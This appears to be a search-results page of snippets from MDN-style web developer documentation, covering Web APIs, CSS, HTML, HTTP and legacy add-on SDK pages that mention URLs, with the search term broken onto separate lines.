...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url.
...in other words, if the
url matches you will get a match regardless of whether the response object has a vary header or not.
MerchantValidationEvent.complete() - Web APIs
the merchantvalidationevent method complete() takes merchant-specific information previously received from the validation
url and uses it to validate the merchant.
... all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validation
url.
... example in this example, we see the client-side code needed to support merchant validation for a payment request called payrequest: payrequest.onmerchantvalidation = event => { const validationdatapromise = getvalidationdata(event.validation
url); event.complete(validationdatapromise); } function getvalidationdata(
url) { /* ...retrieve the validation data from the
url...
...the event handler calls a function, getvalidationdata(), which retrieves the data from the validation
url, then passes that data (or a promise to deliver the data) into complete().
Payment processing concepts - Web APIs
these may be either one of the standardized payment handler identifiers, or a
url used by the payment processing service to both identify itself and to handle payments.
...
url-based payment method identifiers these may vary substantially depending on the specifics of the service, and a given processing service may have multiple
urls used, depending on the version of their api, their communication technology, and so forth.
... paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validation
url)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information from the address given by validation
url.
... note this function must go through the merchant server, because a client typically does not access the validation
url itself.
Push API - Web APIs
the endpoint for the subscription is a unique capability
url: knowledge of the endpoint is all that is necessary to send a message to your application.
... the endpoint
url therefore needs to be kept secret, or other applications might be able to send push messages to your application.
... pushmanager provides a way to receive notifications from third-party servers, as well as request
urls for push notifications.
... pushsubscription provides a subcription's
url endpoint, and allows unsubscription from a push service.
ServiceWorkerRegistration.showNotification() - Web APIs
icon: a usvstring containing the
url of an icon to display with the action.
... badge: a usvstring containing the
url of an image to represent the notification when there is not enough space to display the notification itself such as for example, the android notification bar.
... dir : the direction of the notification; it can be auto, ltr or rtl icon: a usvstring containing the
url of an image to be used as an icon by the notification.
... image: a usvstring containing the
url of an image to be displayed in the notification.
SharedWorker() - Web APIs
the sharedworker() constructor creates a sharedworker object that executes the script at the specified
url.
... syntax var myworker = new sharedworker(a
url, name); var myworker = new sharedworker(a
url, options); parameters a
url a domstring representing the
url of the script the worker will execute.
... exceptions a securityerror is raised if the document is not allowed to start workers, for example if the
url has an invalid syntax or if the same-origin policy is violated.
... a syntaxerror is raised if a
url cannot be parsed.
StorageEvent - Web APIs
ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring
url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
...
url usvstring the
url of the document whose key changed.
... syntax storageevent.initstorageevent(type[, canbubble[, cancelable[, key[, oldvalue[, newvalue[,
url[, storagearea]]]]]]]) parameters typearg the name of the event.
...
url optional the
url of the document initiating the change.
Using textures in WebGL - Web APIs
// function loadtexture(gl,
url) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because images have to be download over the internet // they might take a moment until they are ready.
...turn off mips and set // wrapping to clamp to edge gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); gl.texparameteri(gl.texture_2d, gl.texture_wrap_t, gl.clamp_to_edge); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); } }; image.src =
url; return texture; } function ispowerof2(value) { return (value & (value - 1)) == 0; } the loadtexture() routine starts by creating a webgl texture object texture by calling the webgl createtexture() function.
... to load the texture from the image file, it then creates an image object and assigns the src to the
url for our image we wish to use as our texture.
... because webgl now requires textures to be loaded from secure contexts, you can't use textures loaded from file:///
urls in webgl.
Window: popstate event - Web APIs
note: when writing functions that process popstate event it is important to take into account that properties like window.location will already reflect the state change (if it affected the current
url), but document might still not.
... the document's
url is set to that of new-entry.
... if the new-entry doesn't have persisted user state and its
url's fragment is non-null, the document is scrolled to that fragment.
... if the original and new entry's shared the same document, but had different fragments in their
urls, send the hashchange event to the window.
Worker() - Web APIs
the worker() constructor creates a worker object that executes the script at the specified
url.
... syntax var myworker = new worker(a
url, options); parameters a
url a usvstring representing the
url of the script the worker will execute.
...if the
url has an invalid syntax or if the same-origin policy is violated.
... a syntaxerror is raised if a
url cannot be parsed.
Synchronous and asynchronous requests - Web APIs
function xhrsuccess() { this.callback.apply(this, this.arguments); } function xhrerror() { console.error(this.statustext); } function loadfile(
url, callback /*, opt_arg1, opt_arg2, ...
... */) { var xhr = new xmlhttprequest(); xhr.callback = callback; xhr.arguments = array.prototype.slice.call(arguments, 2); xhr.onload = xhrsuccess; xhr.onerror = xhrerror; xhr.open("get",
url, true); xhr.send(null); } usage: function showmessage(message) { console.log(message + this.responsetext); } loadfile("message.txt", showmessage, "new message!\n\n"); the signature of the utility function loadfile declares (i) a target
url to read (via an http get request), (ii) a function to execute on successful completion of the xhr operation, and (iii) an arbitrary list of additional arguments that are passed through the xhr object (via the arguments property) to the success callback function.
...this is done by setting the value of the timeout property on the xmlhttprequest object, as shown in the code below: function loadfile(
url, timeout, callback) { var args = array.prototype.slice.call(arguments, 3); var xhr = new xmlhttprequest(); xhr.ontimeout = function () { console.error("the request for " +
url + " timed out."); }; xhr.onload = function() { if (xhr.readystate === 4) { if (xhr.status === 200) { callback.apply(xhr, args); } else { ...
... console.error(xhr.statustext); } } }; xhr.open("get",
url, true); xhr.timeout = timeout; xhr.send(null); } notice the addition of code to handle the "timeout" event by setting the ontimeout handler.
-moz-image-rect - CSS: Cascading Style Sheets
syntax -moz-image-rect(<uri>, top, right, bottom, left); values <
url> the uri of the image from which to take the sub-image.
... #box1 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 50%, 50%, 0%); width:133px; height:136px; position:absolute; } this is the top-left corner of the image.
... #box2 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 100%, 50%, 50%); width:133px; height:136px; position:absolute; } this defines the top-right corner of the image.
... the other corners follow a similar pattern: #box3 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 50%, 100%, 0%); width:133px; height:136px; position:absolute; } #box4 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 100%, 100%, 50%); width:133px; height:136px; position:absolute; } html the html is quite simple: <div id="container" onclick="rotate()"> <div id="box1" style="left:0px;top:0px;">top left</div> <div id="box2" style="left:133px;top:0px;">top right</div> <div id="box3" style="left:0px;top:136px;">bottom left</div> <div id="box4" style="left:133px;top:136px;">bottom right</div> </div> this places the four segments of our image in a two-by-two box gri...
Resizing background images with background-size - CSS: Cascading Style Sheets
html <div class="tiledbackground"> </div> css .tiledbackground { background-image:
url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; the result looks like this: scaling an image up on the other end of...
...here we scale a 32x32 pixel favicon to 300x300 pixels: .square2 { background-image:
url(favicon.png); background-size: 300px; width: 300px; height: 300px; border: 2px solid; text-shadow: white 0px 0px 2px; font-size: 16px; } as you can see, the css is actually essentially identical, save the name of the image file.
... html <div class="bgsizecontain"> <p>try resizing this element!</p> </div> css .bgsizecontain { background-image:
url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: contain; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result cover the cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal t...
... html <div class="bgsizecover"> <p>try resizing this element!</p> </div> css .bgsizecover { background-image:
url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: cover; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result see also background-size background scaling of svg backgrounds ...
CSS Images - CSS: Cascading Style Sheets
css images is a module of css that defines what types of images can be used (the <image> type, containing
urls, gradients and other types of images), how to resize them and how they, and other replaced content, interact with the different layout models.
... reference properties image-orientation image-rendering image-resolution object-fit object-position functions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient()
url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these.
... living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<
url>' in that specification.
... recommendation css level 1the definition of '<
url>' in that specification.
backdrop-filter - CSS: Cascading Style Sheets
/* keyword value */ backdrop-filter: none; /*
url to svg filter */ backdrop-filter:
url(commonfilters.svg#filter); /* <filter-function> values */ backdrop-filter: blur(2px); backdrop-filter: brightness(60%); backdrop-filter: contrast(40%); backdrop-filter: drop-shadow(4px 4px 10px blue); backdrop-filter: grayscale(30%); backdrop-filter: hue-rotate(120deg); backdrop-filter: invert(70%); backdrop-filter: opacity(20%); backdrop-filter: sepia(90%); backdrop-filter: saturate(80%); /* multiple filters */ backdrop-filter...
...:
url(filters.svg#filter) blur(4px) saturate(150%); /* global values */ backdrop-filter: inherit; backdrop-filter: initial; backdrop-filter: unset; syntax values none no filter is applied to the backdrop.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typea filter function list formal syntax none | <filter-function-list>where <filter-function-list> = [ <filter-function> | <
url> ]+where <filter-function> = <blur()> | <brightness()> | <contrast()> | <drop-shadow()> | <grayscale()> | <hue-rotate()> | <invert()> | <opacity()> | <saturate()> | <sepia()>where <blur()> = blur( <length> )<brightness()> = brightness( <number-percentage> )<contrast()> = contrast( [ <number-percentage> ] )<drop-shadow()> = drop-shadow( <length>{2,3} <color>?
...ercentage><hue> = <number> | <angle> examples css .box { background-color: rgba(255, 255, 255, 0.3); border-radius: 5px; font-family: sans-serif; text-align: center; line-height: 1; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { background-image:
url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> ...
background-image - CSS: Cascading Style Sheets
to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specified, but with <
url> values made absoluteanimation typediscrete formal syntax <bg-image>#where <bg-image> = none | <image>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
... </p> <p>and no more.</p> </div> css p { font-size: 1.5em; color: #fe7f88; background-image: none; background-color: transparent; } div { background-image:
url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image:
url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders mo...
image-set() - CSS: Cascading Style Sheets
syntax image-set() = image-set( <image-set-option># ) where <image-set-option> = [ <image> | <string> ] <resolution> and <string> is an <
url> values most commonly you'll see an
url() <string> value, but the <image> can be any image type except for an image set.
... noopera full support 15prefixed full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari partial support 6prefixed notes partial support 6prefixed notes prefixed implemented with the vendor prefix: -webkit-notes support for
url images only and x is the only supported resolution unit.
... android full support 14prefixed full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios partial support 6prefixed notes partial support 6prefixed notes prefixed implemented with the vendor prefix: -webkit-notes support for
url images only and x is the only supported resolution unit.
... see also <image> image() element() <
url> <gradient> cross-fade() ...
mask-border-source - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-source: none; /* <image> values */ mask-border-source:
url(image.jpg); mask-border-source: linear-gradient(to top, red, yellow); /* global values */ mask-border-source: inherit; mask-border-source: initial; mask-border-source: unset; values none no mask border is used.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with <
url> values made absoluteanimation typediscrete formal syntax none | <image>where <image> = <
url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <
url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
... mask-border-source:
url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source:
url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width syntax /* source | slice */ mask-border:
url('border-mask.png') 25; /* source | slice | repeat */ mask-border:
url('border-mask.png') 25 space; /* source | slice | width */ mask-border:
url('border-mask.png') 25 / 35px; /* source | slice | width | outset | repeat | mode */ mask-border:
url('border-mask.png') 25 / 35px / 12px space alpha; values <'mask-border-source'> the source image.
...ce: refer to size of the mask border imagemask-border-width: relative to width/height of the mask border image areacomputed valueas each of the properties of the shorthand:mask-border-mode: as specifiedmask-border-outset: as specified, but with relative lengths converted into absolute lengthsmask-border-repeat: as specifiedmask-border-slice: as specifiedmask-border-source: as specified, but with <
url> values made absolutemask-border-width: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:mask-border-mode: discretemask-border-outset: discretemask-border-repeat: discretemask-border-slice: discretemask-border-source: discretemask-border-width: discretecreates stacking contextyes formal syntax <'mask-border-source'> ...
... div { width: 200px; background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source:
url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image:
url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ ...
... 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border:
url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
<button>: The Button element - HTML: Hypertext Markup Language
formaction html5 the
url that processes the information submitted by the button.
...possible values: application/x-www-form-
urlencoded: the default if the attribute is not used.
... get: the form data are appended to the form's action
url, with a ?
... as a separator, and the resulting
url is sent to the server.
<form> - HTML: Hypertext Markup Language
action the
url that processes the form submission.
...possible values: application/x-www-form-
urlencoded: the default value.
... get: the get method; form data appended to the action
url with a ?
... examples html <!-- form which will send a get request to the current
url --> <form> <label>name: <input name="submitted-name" autocomplete="name"> </label> <button>save</button> </form> <!-- form which will send a post request to the current
url --> <form method="post"> <label>name: <input name="submitted-name" autocomplete="name"> </label> <button>save</button> </form> <!-- form with fieldset, legend, and label --> <form method="post"> <fields...
<picture>: The Picture element - HTML: Hypertext Markup Language
if no matches are found—or the browser doesn't support the <picture> element—the
url of the <img> element's src attribute is selected.
... to decide which
url to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device.
...each image descriptor is composed of a
url of the image, and either...
... <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> the type attribute the type attribute specifies a mime type for the resource
url(s) in the <source> element's srcset attribute.
Using the application cache - HTML: Hypertext Markup Language
how the application cache works enabling the application cache to enable the application cache for an application, include the manifest attribute in the <html> element: <html manifest="/example.appcache"> … </html> the manifest attribute references a
url for a cache manifest file: a text file that lists
urls that browsers should cache for your application.
... the cache manifest file referencing a cache manifest file the manifest attribute in a web application can specify either the relative path of a cache manifest file or an absolute
url.
... (absolute
urls must be from the same origin as the application).
...resources can be specified using either absolute or relative
urls (e.g., index.html).
Content negotiation - HTTP
when a client wants to obtain a resource, the client requests it using its
url.
... the server uses this
url to choose one of the variants it provides – each variant being called a representation – and returns a specific representation to the client.
... the overall resource, as well as each of the representations, have a specific
url.
... server-driven content negotiation in server-driven content negotiation, or proactive content negotiation, the browser (or any other kind of user-agent) sends several http headers along with the
url.
Using HTTP cookies - HTTP
insecure sites (with http: in the
url) can't set cookies with the secure attribute.
... here is an example: set-cookie: id=a3fwa; expires=wed, 21 oct 2021 07:28:00 gmt; secure; httponly define where cookies are sent the domain and path attributes define the scope of the cookie: what
urls the cookies should be sent to.
... path attribute the path attribute indicates a
url path that must exist in the requested
url in order to send the cookie header.
...with strict, the cookie is sent only to the same site as the one that originated it; lax is similar, with an exception for when the user navigates to a
url from an external site, such as by following a link; none has no restrictions on cross-site requests.
Location - HTTP
the location response header indicates the
url to redirect a page to.
... in cases of resource creation, it indicates the
url to the newly created resource.
... location and content-location are different: location indicates the target of a redirection (or the
url of a newly created resource), while content-location indicates the direct
url to use to access the resource when content negotiation happened, without the need of further content negotiation.
... header type response header forbidden header name no syntax location: <
url> directives <
url> a relative (to the request
url) or absolute
url.
OPTIONS - HTTP
the http options method requests permitted communication options for a given
url or server.
... a client can specify a
url with this method, or an asterisk (*) to refer to the entire server.
... request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the c
url command-line program to issue an options request: c
url -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted requests in cors in cors, a preflight request is sent with the options method so that the server c...
...in this example, the server response says that: access-control-allow-origin the https://foo.example origin is permitted to request the bar.example/resources/post-here/
url via the following: access-control-allow-methods post, get, and options are permitted methods for the
url.
import.meta - JavaScript
it contains information about the module, like the module's
url.
... console.log(import.meta); // {
url: "file:///home/user/my-module.js" } it returns an object with a
url property indicating the base
url of the module.
... this will either be the
url from which the script was obtained, for external scripts, or the document base
url of the containing document, for inline scripts.
... for example, with the following html: <script type="module"> import './index.mjs?some
urlinfo=5'; </script> ..the following javascript file will log the `some
urlinfo parameter: // index.mjs new
url(import.meta.
url).searchparams.get('some
urlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?some
urlinfo=5'; // index2.mjs new
url(import.meta.
url).searchparams.get('some
urlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a
url with query parameters will err when loading in the form node --experimental-modules index.mjs?some
urlinfo=5 (it is treated as a file rather than a
url in this con...
<feComposite> - SVG: Scalable Vector Graphics
ng the background.</desc> <g enable-background="new"> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(with feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(with feflood)</text> <use xlink:href="#bluetriangles"/> <g transform="translate(275,25)"> <use xlink:href="#red100" filter="
url(#overflood)" /> <use xlink:href="#red50" filter="
url(#overflood)" /> <text x="5" y="275">over</text> </g> <g transform="translate(400,25)"> <use xlink:href="#red100" filter="
url(#inflood)" /> <use xlink:href="#red50" filter="
url(#inflood)" /> <text x="35" y="275">in</text> </g> <g transform="translate(525,25)"> <use xlink:hre...
...f="#red100" filter="
url(#outflood)" /> <use xlink:href="#red50" filter="
url(#outflood)" /> <text x="15" y="275">out</text> </g> <g transform="translate(650,25)"> <use xlink:href="#red100" filter="
url(#atopflood)" /> <use xlink:href="#red50" filter="
url(#atopflood)" /> <text x="10" y="275">atop</text> </g> <g transform="translate(775,25)"> <use xlink:href="#red100" filter="
url(#xorflood)" /> <use xlink:href="#red50" filter="
url(#xorflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="
url(#arithmeticflood)" /> <use xlink:href="#red50" filter="
url(#arithmeticflood)" /> <text x="-25" y="275">arithmetic</text> ...
...mage blends into itself ("double-counting").</desc> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(without feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(without feflood)</text> <use xlink:href="#bluetriangles"/> <g transform="translate(275,25)"> <use xlink:href="#red100" filter="
url(#overnoflood)" /> <use xlink:href="#red50" filter="
url(#overnoflood)" /> <text x="5" y="275">over</text> </g> <g transform="translate(400,25)"> <use xlink:href="#red100" filter="
url(#innoflood)" /> <use xlink:href="#red50" filter="
url(#innoflood)" /> <text x="35" y="275">in</text> </g> <g transform="translate(525,25)"> <use x...
...link:href="#red100" filter="
url(#outnoflood)" /> <use xlink:href="#red50" filter="
url(#outnoflood)" /> <text x="15" y="275">out</text> </g> <g transform="translate(650,25)"> <use xlink:href="#red100" filter="
url(#atopnoflood)" /> <use xlink:href="#red50" filter="
url(#atopnoflood)" /> <text x="10" y="275">atop</text> </g> <g transform="translate(775,25)"> <use xlink:href="#red100" filter="
url(#xornoflood)" /> <use xlink:href="#red50" filter="
url(#xornoflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="
url(#arithmeticnoflood)" /> <use xlink:href="#red50" filter="
url(#arithmeticnoflood)" /> <text x="-25" y="27...
<script> - SVG: Scalable Vector Graphics
value type: <string>; default value: ?; animatable: yes href the
url to the script to load.
... value type: <
url> ; default value: none; animatable: no type this attribute defines type of the script language to use.
... value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the
url to the script to load.
... value type: <
url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
Navigator.mozNotification - Archive of obsolete content
method overview notification createnotification(in domstring title, in domstring description, in domstring icon
url optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional
url.
... notification createnotification( in domstring title, in domstring description, in domstring icon
urloptional ); parameters title the notification title.
... icon
url optional a
url identifying the image to display in the notification.
Cross-domain Content Scripts - Archive of obsolete content
//main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker").page({ content
url: data.
url("page.html"), contentscriptfile: data.
url("page-script.js") }); pageworker.on("message", function(message) { console.log(message); }); the "page.html" file embeds an iframe whose content is served from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> <head></head> <body> <iframe id="wikipedia" src="http://en.m.wikipedia.org/...
... the "main.js": creates a panel whose content is supplied by "panel.html" and adds a content script "panel-script.js" to it sends the panel a "show" message when it is shown adds a button which shows the panel when it is clicked // main.js var data = require("sdk/self").data; var forecast_panel = require("sdk/panel").panel({ height: 50, content
url: data.
url("panel.html"), contentscriptfile: data.
url("panel-script.js") }); forecast_panel.on("show", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the fore...
...cast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var
url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get",
url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0...
Porting the Library Detector - Archive of obsolete content
each test also contains a chrome://
url pointing to the icon associated with its library.
... once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome://
url, and adds it to the box.
... version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.
url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); } }); if (worker.tab == tabs.activetab) { ...
windows - Archive of obsolete content
windows.open({
url: "http://www.example.com", onopen: function(window) { // do stuff like listen for content // loading.
... parameters options : object required options: name type
url string string
url to be opened in the new window.
...this does not mean that the
url content has loaded, only that the window itself is fully functional and its properties can be accessed.
/loader - Archive of obsolete content
/toolkit/foo.js // toolkit/foo/bar -> resource://gre/modules/commonjs/toolkit/foo/bar.js 'toolkit/': 'resource://gre/modules/commonjs/toolkit/', // resolve all other non-relative module requirements as follows: // devtools/gcli -> resource:///modules/devtools/gcli.js // panel -> resource:///modules/panel.js '': 'resource:///modules/', } }) all relative
url require() statements (those that start with ".") are first resolved relative to the requirer module id and the result of it is then resolved using the paths option.
...toolkit/foo.js // toolkit/foo/bar -> resource://gre/modules/commonjs/toolkit/foo/bar.js 'toolkit/': 'resource://gre/modules/commonjs/toolkit/', // resolev all other non-relative module requirements as follows: // devtools/gcli -> resource:///modules/devtools/gcli.js // panel -> resource:///modules/panel.js '': 'resource:///modules/', // allow relative
urls and resolve them to add-on root: // ./main -> resource://my-addon/root/main.js './': 'resource://my-addon/root/' } }); the order of keys in paths is irrelevant since they are sorted by keys from longest to shortest to allow overlapping mapping.
... the function returns a string representing the resolved module id, which is then resolved to its location
url using the mapping provided in the paths option.
content/symbiont - Archive of obsolete content
usage a symbiont loads the specified content
url and content scripts into a frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis.
... symbiont symbiont is composed from the worker trait, therefore instances of symbiont and their descendants expose all the public properties exposed by worker along with additional public properties that are listed below: properties contentscriptfile the local file
urls of content scripts to load.
... content
url the
url of the content loaded.
preferences/service - Archive of obsolete content
so that prefs.get returns the properties file
url whereas prefs.getlocalized returns the value defined in the properties file.
... value : string preference value, a
url to a properties file example: require("sdk/preferences/service").set("general.useragent.locale", "chrome://global/locale/intl.properties"); example: setting global preferences var { get, set } = require("sdk/preferences/service"); var { when: unload } = require("sdk/system/unload"); var oldvalue = get("browser.
urlbar.autofill"); set("browser.
urlbar.autofill", true); //...
... by amo policy global preferences must be changed back to their original value unload(function() { set("browser.
urlbar.autofill", oldvalue); }); ...
Displaying annotations - Archive of obsolete content
the complete content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.
url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(this).attr('annotation')); event.stoppropagation(); event.preventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); })...
... updating main.js first, initialize an array to hold workers associated with the matcher's content scripts: var matchers = []; in the main function, add the code to create the matcher: var matcher = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.
url('jquery-1.4.2.min.js'), data.
url('matcher.js')], onattach: function(worker) { if(simplestorage.storage.annotations) { worker.postmessage(simplestorage.storage.annotations); } worker.port.on('show', function(data) { annotation.content = data; annotation.show(); }); worker.port.on('hide', function() { annotation.content = null; ...
... updating main.js finally, update main.js with the code to construct the annotation panel: var annotation = panels.panel({ width: 200, height: 180, content
url: data.
url('annotation/annotation.html'), contentscriptfile: [data.
url('jquery-1.4.2.min.js'), data.
url('annotation/annotation.js')], onshow: function() { this.postmessage(this.content); } }); execute cfx run one last time.
Canvas code snippets - Archive of obsolete content
remotecanvas = function() { this.
url = 'http://developer.mozilla.org'; }; remotecanvas.canvas_width = 300; remotecanvas.canvas_height = 300; remotecanvas.prototype.load = function() { var windowwidth = window.innerwidth - 25; var iframe; iframe = document.createelement('iframe'); iframe.id = 'test-iframe'; iframe.height = '10px'; iframe.width = windowwidth + 'px'; iframe.style.visibility = 'hidden'; ...
... iframe.src = this.
url; // here is where the magic happens...
... var canvas = document.createelement('canvas'); var ctxt = canvas.getcontext('2d'); function loadimagefile(
url, callback) { var image = new image(); image.src =
url; return new promise((accept, reject) => { image.onload = accept; image.onerror = reject; }).then(accept => { canvas.width = this.width; canvas.height = this.height; ctxt.clearrect(0, 0, this.width, this.height); ctxt.drawimage(this, 0, 0); accept(canvas.todata
